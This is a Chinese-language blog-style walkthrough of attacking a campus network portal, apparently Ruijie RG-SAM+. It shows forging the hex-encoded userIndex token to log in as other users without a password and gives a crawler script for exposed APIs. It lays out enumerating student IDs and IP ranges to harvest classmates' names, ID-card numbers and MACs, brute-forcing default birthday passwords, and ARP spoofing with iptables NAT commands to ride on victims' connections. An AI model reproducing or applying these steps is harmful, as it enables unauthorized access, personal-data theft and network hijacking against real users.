userIndex分析
常规方法分析(对比法)
对比
首先找几个不同的账号的userIndex进行观察
64623132613537653238383035353562343534663661383564393134313831395f31302e3130302e36362e36365f323130323230303031
64623132613537653238383035353562343534663661383564393134313831395f31302e3130302e38382e38385f323030323230323032
经过对比可以发现前面都是相同的常量64623132613537653238383035353562343534663661383564393134313831395f31302e3130302e3
再对比下后面6362e36365f323130323230303031
8382e38385f323030323230323032
可以发现重复项有2e还有5f,
还有很多3的组合,
把它们去掉来看看,66 66 210220001
88 88 200220202
可以发现后面应该是账号,
前面的应该是ip地址后两位,
再次分析前面的常量,
去掉重复项2e,5f,3
可以得到常量前缀6462313261353765323838303535356234353466366138356439313431383139
后面的31302e3130302e
就是10 100
组合上之前的就是10 100 66 66 210220001
10 100 88 88 200220202
hex编码
分析到这里已经很明显了,这就是个hex编码
使用python输入bytes.fromhex('64623132613537653238383035353562343534663661383564393134313831395f31302e3130302e38382e38385f323030323230323032')
就得到了db12a57e2880555b454f6a85d9141819_10.100.88.88_200220202
前面这个db12a57e2880555b454f6a85d9141819
暂时不知道,当作一个常量,之后分析源码时会讲到它的生成过程
所以userIndex是由固定前缀和学号还有ip组成的测试
分析完成后就是测试一下能否使用它绕过用户登录
构造userIndex并访问这个urlhttp://172.172.255.20/eportal/success.jsp?userIndex=xxx
(注意这里的172.172.255.20有eportal的是门户系统,172.172.255.10:8080有selfservice就是sam系统,不同学校可能不一样)
可以发现可以不使用密码顺利登录了
进阶分析
前端api分析
知道了userIndex的生成过程了,再分析一下它有什么用
打开抓包工具访问http://172.172.255.20
分析一下请求,可以发现访问了一个接口用来获取用户信息/eportal/InterFace.do?method=getOnlineUserInfo
post了一个参数正是userIndex,返回的是一个json,都是有关是个人信息的,但是有个前提用户必须在线
其中获取到的password如果不为空且不是加密的那么恭喜你,当然我们学校是空的,
但是selfUrl里面也有一个参数password,但也是加密的,同样后面代码审计时会分析如何解密
访问这个selfUrl,可以发现和success.jsp接口加userIndex一样是免登录的
所以有了这个接口还有账号+ip就可以获取任意用户信息了
接下来使用python生成userIndexbytes.hex('_'.join(['之前获取的常量', ip, user_name]).encode())
然后爆破getOnlineUserInfo接口
为了节省爆破时间,我们需要找到一个能够判断用户名是否存在的api
很幸运通过分析前端代码可以找到很多有用的api
具体分析过程大概就是在源码中搜索关键词
比如.js|.jsp|.jsf
等等
然后访问找到的链接再重复这些操作
这样很容易就能把前端所有暴露的接口找到
通过分析selfservice可以找到/selfservice/module/chargecardself/web/chargecardself_charge.jsf
访问后查看源码接着搜索.jsf
可以找到/selfservice/module/userself/web/userself_ajax.jsf?methodName=chargeCardListBean.checkUser
这个接口就是用来查询用户信息的
查看源码可以知道它是post了一个参数key,经过测试它的返回是json内容是{'userId': 'xxx', 'userName': 'xxx', 'accountInfoUuid': 'xxx', 'userinfoUuid': 'xxx'}
如果找不到的话返回该用户不存在
如果找不到接口的,我写了一个代码帮你找,只需要填入selfserive界面登录成功的JSESSIONID1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import re
import requests
s = set()
def check_url(host, url, uri='', depth=0):
if not uri:
uri = url
elif '..' in uri or '/' not in uri:
uri = url.rsplit('/', 1)[0] + '/' + uri
if uri in s:
return
s.add(uri)
print('-' * depth, uri)
r = requests.get(host + uri, cookies={'JSESSIONID': JSESSIONID},
headers={'Accept-Encoding': ''}, allow_redirects=False)
r.encoding = 'utf-8'
result = re.findall('["\']([^"\']*\.js?[^"\'<>()\s]*?)["\']', r.text)
for i in result:
check_url(host, url, i, depth + 1)
if 'Location' in r.headers:
location = r.headers['Location']
check_url(host, url, location.split(host)[1], depth + 1)
JSESSIONID = ''
check_url('http://172.172.255.10:8080/', '/selfservice/module/webcontent/web/index_self.jsf')分析学号
因为我们学校是已学号作为账号的,所以只需要分析学号生成规律就能爆破
首先举例一个我们学校的学号例如210220001
经过分析可以得知前两位21
是入学年份
紧接着两位02
应该是哪个系,范围从01
开始最大取到99
紧接着两位20
应该是哪个专业,同上
最后三位001
就是序号,范围从001
开始最大取到999
按需分配,比如我们学校一个专业最多200人就取200,取多了废时间查询
然后写个脚本批量查询,把查到存在的学号保存起来待会爆破时可以用ip地址生成
要生成userIndex还需要一个ip,我们学校分配的ip段是
10.100.0.0/16
我们要做的就是把这个段的所有ip拿去和账号生成userIndex,然后进行爆破
但是这样爆破的时间还是太久,但是我们学校的不同宿舍还有vlan划分,划分之后的ip段为10.100.0.0/22
,也就是从每4个c段为一个子网,比如10.100.64.0/22
就是10.100.64.1~10.100.67.254
,这样先爆破我们当前宿舍的试试,一共ip个数是2^10也就是1024个开始爆破
使用python异步来写脚本很快就把我们宿舍正在上网的用户爆破出来了,此时我们已经可以获取到每个用户的个人信息了,包括姓名ip和mac身份证等等信息,拿到这些信息后我们就可以进行爆破密码,我们学校设置的初始密码竟然是生日,有的学校是身份证后几位,校园网是http的还可以使用
arpspoof
后抓取密码共享上网
有了密码之后就可以白嫖上网了,但是我们学校限制了重复登录,所以离白嫖还差一点点,经过我的研究可以通过
arpspoof
来实现共享上网,这里我使用kali,对目标mac发起arpspoof
后可以发现对方现在已经把我认成网关了,但是发给我的数据包全被我丢了,此时只要开启一下ip转发就行echo 1 > /proc/sys/net/ipv4/ip_forward && sysctl -p
,然后我们应该设置一下把我们接收到的包经过nat一下重新发回网关,不设置还是没法共享,怎么实现nat呢,linux有个iptables
可以很方便实现iptables -t nat -A POSTROUTING -j MASQUERADE
这个命令就是把所有要转发的包nat转换一下,也就是把mac和ip改成自己的,因为校园网是认mac的这样我们就相当于和他用了一个mac了,自然就可以共享网络了
代码审计
查找源码
通过搜索引擎搜索
RG-SAM+
可以轻松找到源码下载地址https://www.ruijie.com.cn/cp/yyxt-yygl/samx/
https://www.ruijie.com.cn/fw/rj/87101/
下载下来解压之后是个压缩包解压完可以找到两个exe
分别是eportal
和sam
的源码,这里我们分析eportal的
把exe改成zip再次解压就可以看到软件目录了
我们这里要找的是java服务端的源码
找不到的话可以使用wsl搜索grep -rinal 'eportal'
可以发现这个路径jboss/server/default/deploy/eportal.war/
应该就是eportal的根目录了
分析可以知道服务端是jboss搭建的,使用的是tomcat容器,tomcat的配置文件位置是WEB-INF\web.xml
分析success.jsp
这里我们看一下登录成功后的这个
/eportal/success.jsp?userIndex=
接口是怎么解析userIndex的1
2
3
4
5
6
7
8
9
10
11
12<%"text/html; charset=GBK"%> contentType=
<%import="com.ruijie.webportal.util.SuccessHelper" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<% SuccessHelper.pageProcess(request,response);
out.clear();
out = pageContext.pushBody();
%>
</head>
<body></body>
</html>打开
success.jsp
之后可以看到导入的类是com.ruijie.webportal.util.SuccessHelper
然后调用了SuccessHelper.pageProcess
这里我们用grep查找一下这个类在哪
经过查找可以找到WEB-INF/classes/com/ruijie/webportal/util/SuccessHelper.class
这里我们把WEB-INF/classes/
压缩一下,需要使用一个工具jd-gui
,拖入其中,就可以看到java源码了
接下来打开对应的类名和方法进行分析
这里代码太长就放了一段1
2
3
4
5
6
7
8
9
10
11
12
13
14public static void pageProcess(HttpServletRequest request, HttpServletResponse response) throws Exception {
MsgBean msgBean = (MsgBean)request.getSession().getAttribute("msgBean");
UserBean userBean = (UserBean)request.getSession().getAttribute("userBean");
String userIndex = request.getParameter("userIndex");
String userip = request.getRemoteAddr();
if (userBean != null) {
userBean.setMsgBean(msgBean);
} else {
if (StringHelper.isNotEmpty(userIndex)) {
userBean = UserHelper.getOnlineUserByUserIndex(userIndex);
} else {
userBean = UserHelper.getOnlineUserByUserIp(request.getRemoteAddr());
}
...我们只要盯着userIndex就行
可以看到调用了UserHelper.getOnlineUserByUserIndex(userIndex);
继续跟踪1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public static UserBean getOnlineUserByUserIndex(String userIndex) {
UserBean userBean = null;
if (StringHelper.isEmptyString(userIndex))
return null;
try {
userIndex = new String(StringHelper.hexStringToBytes(userIndex));
String[] indexArray = StringHelper.getMatcherStringArray(userIndex, "([^_]*)_([^_]*)_(.*)");
String webGateIp = indexArray[0];
if (webGateIp.indexOf(".") == -1)
webGateIp = WebGateHelper.getWebGatebyMd5IP(webGateIp).getWebGateIp();
userBean = (UserBean)UserDao.getInstance().findByUserIndex(webGateIp, indexArray[1], indexArray[2]);
} catch (Exception e) {
logger.error(e);
userBean = null;
}
return userBean;
}这里就调用了
StringHelper.hexStringToBytes(userIndex)
对应python代码的bytes.fromhex(userIndex)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public static byte[] hexStringToBytes(String hexStr) {
return hexStringToBytes(hexStr, "");
}
public static byte[] hexStringToBytes(String hexStr, String prefix) {
if (hexStr == null || prefix == null)
throw new NullPointerException();
String myHexStr = hexStr.trim();
if (myHexStr.startsWith(prefix))
myHexStr = myHexStr.substring(prefix.length());
int myHexStrLen = myHexStr.length();
byte[] ba = new byte[myHexStrLen / 2];
for (int i = 0; i < myHexStrLen; i += 2) {
int vi = Integer.parseInt(myHexStr.substring(i, i + 2), 16);
if (vi > 128)
vi -= 256;
ba[i / 2] = (byte)vi;
}
return ba;
}算法我就不分析了,可以自己研究学习
hex解码后就和上面那个db12a57e2880555b454f6a85d9141819_10.100.88.88_200220202
一样了
登录接口分析
之前userIndex中获取的
getOnlineUserInfo
接口获取的密码该如何解密呢
通过分析selfservice登录接口/selfservice/module/scgroup/web/login_judge.jsf
可以得到答案
接下来搜索一下这个接口的源码
首先打开对应的文件目录查看一下jboss\server\default\deploy\selfservice.war\module\scgroup
打开之后可以找到scgroup
这个模块的源码在lib
下的scgroup.jar
接着拖入jd-gui
分析
这里搜索方法名login
查找一下登录接口
可以找到这个类com.ruijie.spl.scgroup.web.LoginUserBean
1 | public boolean login(HttpServletRequest request, String name, String password) { |
查看一下这个方法,可以发现参数有HttpServletRequest
类,所以可以确定这个方法就是登录接口
跟踪参数password
可以发现有一行调用了decrypt方法session.setAttribute("password", SamJceForUser.decrypt(sc.getBaseUser().getPassword()));
继续跟踪这个类com.ruijie.spl.common.crypt.SamJceForUser
,但这个类不在当前jar里,经过搜索这个类的文件在selfservice.war\WEB-INF\lib\rgspl-common.jar
,拖入jd-gui
就可以继续跟踪了
经过分析这个类就是用来加解密密码的
解密代码我已经转成python了,有兴趣的可以自己分析
1 | #!/usr/bin/env python |